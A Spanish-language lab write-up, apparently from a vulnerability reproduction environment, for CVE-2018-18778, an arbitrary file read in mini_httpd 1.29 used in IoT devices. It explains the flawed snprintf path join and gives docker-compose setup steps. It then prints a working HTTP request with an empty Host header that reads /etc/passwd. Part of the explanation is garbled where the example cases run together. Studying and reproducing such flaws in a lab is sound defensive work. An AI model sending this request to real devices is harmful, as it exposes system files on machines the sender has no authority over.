
Exploit PoC para CVE-2018-18778: lectura arbitraria de archivos en mini_httpd 1.29 mediante un encabezado Host vacío, afectando dispositivos IoT de Huawei, Zyxel y otros.
Mini_httpd es un servidor HTTP en miniatura que puede mantener un cierto nivel de rendimiento (aproximadamente el 90% de Apache) mientras ocupa pocos recursos del sistema, por lo que es ampliamente utilizado como servidor integrado en varios tipos de IoT (enrutadores, conmutadores, cámaras, etc.). Equipos de fabricantes como Huawei, Zyxel, Hikvision, Raspberry Pi, entre otros, han utilizado el componente Mini_httpd.
Cuando mini_httpd tiene habilitado el modo de host virtual, la solicitud del usuario http://HOST/FILE accederá al archivo HOST/FILE en el directorio actual.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
Consulte el código anterior, el análisis es el siguiente:
example.com y FILE=index.html, el resultado de la declaración anterior es example.com/index.html, el archivo se lee normalmente.etc/passwd, el resultado de la declaración anterior es /etc/passwd.Este último se toma como una ruta absoluta, lo que permite leer /etc/passwd, causando una vulnerabilidad de lectura de archivos arbitrarios.
Ejecute el siguiente comando para iniciar mini_httpd 1.29:
docker-compose up -d
Una vez iniciado el entorno, visite http://your-ip:8080 para ver la página web.
Envíe una solicitud configurando Host vacío y el valor de PATH como la ruta absoluta del archivo:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Archivo leído exitosamente:
